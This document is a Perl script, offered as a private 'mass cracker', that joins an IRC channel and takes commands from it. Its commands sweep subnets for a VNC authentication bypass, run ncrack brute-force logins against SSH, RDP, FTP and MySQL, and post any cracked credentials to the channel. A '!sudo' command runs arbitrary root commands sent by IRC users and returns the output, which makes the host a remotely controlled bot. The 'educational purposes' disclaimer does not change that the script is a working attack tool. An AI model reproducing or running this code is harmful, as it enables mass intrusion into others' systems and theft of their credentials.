NCrack mass cracker (private)

#!/usr/bin/perl
# Use at your own risk!
#For it to crack you need to install ncrack or be using a l337 OS like KaliLinux v2
#Also you will need to create /user and /pass file (the tested credentials on target)
#The code is still buggy. Sorry but I'm still noob at perl >_>
#invoke the script like this: sudo perl scan.pl (or as root) perl scan.pl
#This script was made for eduactional purposes only, please don't attack millitary nor government.
#when you think you gotpasswords in your list type to the bot or channel !list will say it found credentials

use IO::Socket;
use IO::Socket::INET;
use threads;
use threads::shared;
use Errno qw(EAGAIN);
use strict;
use warnings;
my $line;
our @results : shared;
our $todo = 0;
our $contatore = 0;
my $orig_thread = "yes";
my $start;
my $end;
my $out_file;
my $range = 99999;
my $random_number = int(rand($range));
my @VNC_PORTS = qw/5900 5901/;
my @ncrack_PORTS  = ( [3306, 'MySQL'], [22, 'SSH'], [21, 'FTP'], [3389, 'RDP'] );
my $splits = 8; # Creates 2^N processes.
our $subnet;
my $server="irc.crimeircd.net"; # irc server
my $porta="6667"; # port
my $nick="Guest$random_number";# nick
my $canale="#RDP"; # canale
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER Guest$random_number 8 * :Perl bot by independent\r\n";


while ($line = <$sk>) {
  $line =~ s/\r\n$//;
   warn "$line";
   if ($line=~ /PING/) {
   print $sk "PONG :$server\r\n";
   print $sk "JOIN $canale \r\n";
   printa("?Ping Pong!, pastebin.com/raw/cp5BZnv4");

  }
  if ($line=~ /nospoof/) {
   print $sk "NOTICE IRC :mIRC v7.45\r\n";
    print $sk "CAP LS\r\n";
   print $sk "CAP END\r\n";
  }
    if ($line=~ /!help/) {
printa("Scan by independent: list , reload , die , sudo <cmd> , scan <ip>");
  }
  if ($line=~ /!list/)
  {

    my $file = 'xploits.log';
    open my $fh, '<', $file or warn "Could not open '$file' $!\n";

    while (my $lines = <$fh>) {
      chomp $lines;
      if ($lines=~ /'/) {
        printa("$lines");
      }
    }
  }
  if ($line=~ /!reload/)
  {
    printa("Reloading...");
    my @cmd = ("sudo pkill perl && sudo perl scan.pl && sudo pkill ncrack");
    system(@cmd);
  }
  if ($line=~ /!die/)
  {
    printa("Dying...");
    my @cmd = ("sudo pkill perl && sudo pkill ncrack");
    system(@cmd);
  }
  if ($line=~ /!sudo\s+(.*)/)
  {
        my $command = $1;
        printa("Done: $command ");
    my $cmd = "sudo $command";
    my @output = `$cmd 2>&1 3>&1`;
    foreach(@output) {
      printa("$_\r\n");
    }
  }


  if ($line=~ /!scan (.+)/)
  {


    $todo = 0;
    $subnet = $1;
    if ($subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/) {

      # Put the subnet in the form x.y.z. so we can just concatenate the hostnum.
      $subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
      $subnet .= ".";
      printa("Scanning subnet ${subnet}x\n");

      CHECK: {
        unless ($splits >= 0 && $splits <= 8) {
          die "ERROR: Do not split $splits times--that makes no sense.\n";
        }
      }

      # Ugly, but this works.
      DivideWork() if $splits >= 1;
      DivideWork() if $splits >= 2;
      DivideWork() if $splits >= 3;
      DivideWork() if $splits >= 4;
      DivideWork() if $splits >= 5;
      DivideWork() if $splits >= 6;
      DivideWork() if $splits >= 7;
      DivideWork() if $splits >= 8;

      $start = $todo << (8 - $splits);
      $end = $start + (256 / (2**$splits)) - 1;

      foreach ($start .. $end) {

        Scan_ALL($_);

      }
     }

   else {
      printa("Are you brain-dead? Use a correct IP format. ");
    }

  }
}


  ####################################

  sub DivideWork {
    my $pid;

    FORK: {
      $todo *= 2;
      if ($pid = fork) {
        # Parent
        ++$todo;

        } elsif (defined $pid) {
        # Child
        $orig_thread = "no";

        } elsif ($! == EAGAIN) {
        # Recoverable forking error.
        sleep 7;
        redo FORK;

        } else {
        # Unable to fork.
        printa("Unable to fork: $!\n");

      }
    }
  }



  sub Scan_ALL {
    # Scan for OpenVNC 4.11 authentication bypass.

    my $hostnum = shift;
    my $host = $subnet . $hostnum;
    my $sock;
    my $proto_ver;
    my $ignored;
    my $auth_type;
    my $sec_types;
    my $vnc_data;


    $host or printa("ERROR: missing Host IP address Scan_ALL.");

    # The host numbers .0 and .255 are reserved; ignore them.
    if ($hostnum <= 0 or $hostnum >= 255) { return; }

    # Format things nicely--that crazy formula just adds spaces.
    $results[$hostnum] = "$host";
    $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = ";
    foreach my $port (@VNC_PORTS)
    {
      if (my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp')) {

        $sock->read($proto_ver, 12);
        print $sock $proto_ver;

        # Get supported security types and ignore them.
        $sock->read($sec_types, 1);

        $sock->read($ignored, unpack('C', $sec_types));
        # Claim that we only support no authentication.
        print $sock "\x01";


        # We should get "0000" back, indicating that they won't fall back to no authentication.
        $sock->read($auth_type, 4);
        if (unpack('I', $auth_type)) {
          close($sock);
          return;
        }

        # Client initialize.
        print $sock "\x01";

        # If the server starts sending data, we're in.
        $sock->read($vnc_data, 4);
        printa("[Xploiting VNC] $host");
        if (unpack('I', $vnc_data)) {
          $results[$hostnum] .= "VNC Vulnerable: $proto_ver\n";
          printa("9,3 [ $port ] $results[$hostnum] $port ");
        }
      }
    }
    foreach my $port (@ncrack_PORTS)
    {
      if (my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port->[0], Proto => 'tcp')) {
        close($sock);
        printa("[Cracking " . $port->[1] . "] $host");
        my @cmdncrack = ("ncrack -U /user -P /pass " . lc($port->[1]) . "://" . $host . ",at=5,cl=1,CL=3,cd=5s,cr=0,to=2h --connection-limit 64 -v -f >>xploits.log");
        system(@cmdncrack);
        return;
      }
    }

    close($sock);
    return;
  }

  sub printa {
    print $sk "PRIVMSG $canale :4,5 $_[0]. \r\n";
  }